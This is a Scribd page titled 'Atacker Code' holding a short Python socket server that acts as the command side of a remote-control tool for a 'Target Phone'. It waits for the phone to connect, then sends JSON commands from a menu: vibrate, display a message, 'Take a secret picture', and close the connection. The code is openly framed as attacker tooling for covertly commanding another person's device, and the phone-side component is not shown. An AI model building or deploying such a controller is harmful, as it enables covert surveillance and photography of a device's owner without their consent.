0% found this document useful (0 votes)
3 views2 pages

Atacker Code

This document contains a Python script that sets up a socket server to control a robot phone over Wi-Fi. The server listens for connections and allows the user to send commands such as vibrate, display a message, or take a photo. The script includes a command menu and handles user input to execute the selected action.

Uploaded by

doemannel70
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views2 pages

Atacker Code

This document contains a Python script that sets up a socket server to control a robot phone over Wi-Fi. The server listens for connections and allows the user to send commands such as vibrate, display a message, or take a photo. The script includes a command menu and handles user input to execute the selected action.

Uploaded by

doemannel70
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

import socket, json

# This tells your phone to listen to anyone on the same Wi-Fi

IP = '[Link]'

PORT = 8080

def start_controller():

# Create the listener

s = [Link](socket.AF_INET, socket.SOCK_STREAM)

[Link]((IP, PORT))

[Link](1)

print(f"[*] Base Station Active. Waiting for Robot on port {PORT}...")

# Wait for the other phone to connect

conn, addr = [Link]()

print(f"[+] SUCCESS! Connected to Target Phone: {addr}")

while True:

print("\n--- COMMAND MENU ---")

print("1. vibrate (Make it shake)")

print("2. toast (Show a message)")

print("3. photo (Take a secret picture)")

print("4. exit (Close connection)")

choice = input("\nSelect a command: ").lower()


if choice == 'vibrate':

msg = [Link]({"action": "vibrate"})

elif choice == 'toast':

text = input("What should the message say? ")

msg = [Link]({"action": "toast", "message": text})

elif choice == 'photo':

msg = [Link]({"action": "photo"})

elif choice == 'exit':

[Link]([Link]({"action": "kill"}).encode())

break

else:

continue

[Link]([Link]())

print("[*] Command sent!")

if __name__ == "__main__":

start_controller()

You might also like